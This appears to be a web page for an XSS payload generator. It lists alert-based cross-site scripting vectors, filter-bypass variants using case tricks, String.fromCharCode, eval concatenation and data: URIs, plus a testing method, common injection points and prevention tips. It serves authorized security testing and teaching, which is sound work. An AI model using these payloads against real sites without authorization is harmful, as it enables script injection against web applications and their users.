🧠 XSS Payload Generator

Generate Cross-Site Scripting (XSS) payloads for security testing. For educational and authorized testing only!

⚠️ Legal Disclaimer

These payloads are for educational purposes and authorized security testing only. Using these payloads against systems without explicit permission is illegal. Always obtain proper authorization before testing for XSS vulnerabilities.

📚 Common XSS Payloads

Basic Vectors: • <script>alert('XSS')</script> • <img src=x onerror=alert('XSS')> • <svg onload=alert('XSS')> • <iframe src=javascript:alert('XSS')></iframe> • <body onload=alert('XSS')> • <input onfocus=alert('XSS') autofocus> Filter Bypass: • <ScRiPt>alert('XSS')</ScRiPt> • <script>alert(String.fromCharCode(88,83,83))</script> • <script>eval('al'+'ert("XSS")')</script> • javascript:alert('XSS') • <script src=data:text/javascript,alert('XSS')></script>

🎯 XSS Testing Guide

Testing Methodology: 1. Identify input points (forms, URL parameters, headers) 2. Test for reflection of input in response 3. Analyze the context where input is reflected 4. Craft appropriate payload for the context 5. Test for filter bypasses if blocked 6. Verify payload execution Common Injection Points: • URL parameters (?param=value) • Form inputs (text fields, textareas) • HTTP headers (User-Agent, Referer) • Cookie values • File upload names • Search functionality • Error messages Context-Specific Payloads: • HTML: <script>alert()</script> • Attribute: " onmouseover="alert()" • JavaScript: ';alert();// • CSS: expression(alert()) • URL: javascript:alert() Prevention: • Input validation and sanitization • Output encoding/escaping • Content Security Policy (CSP) • HttpOnly cookies • X-XSS-Protection header

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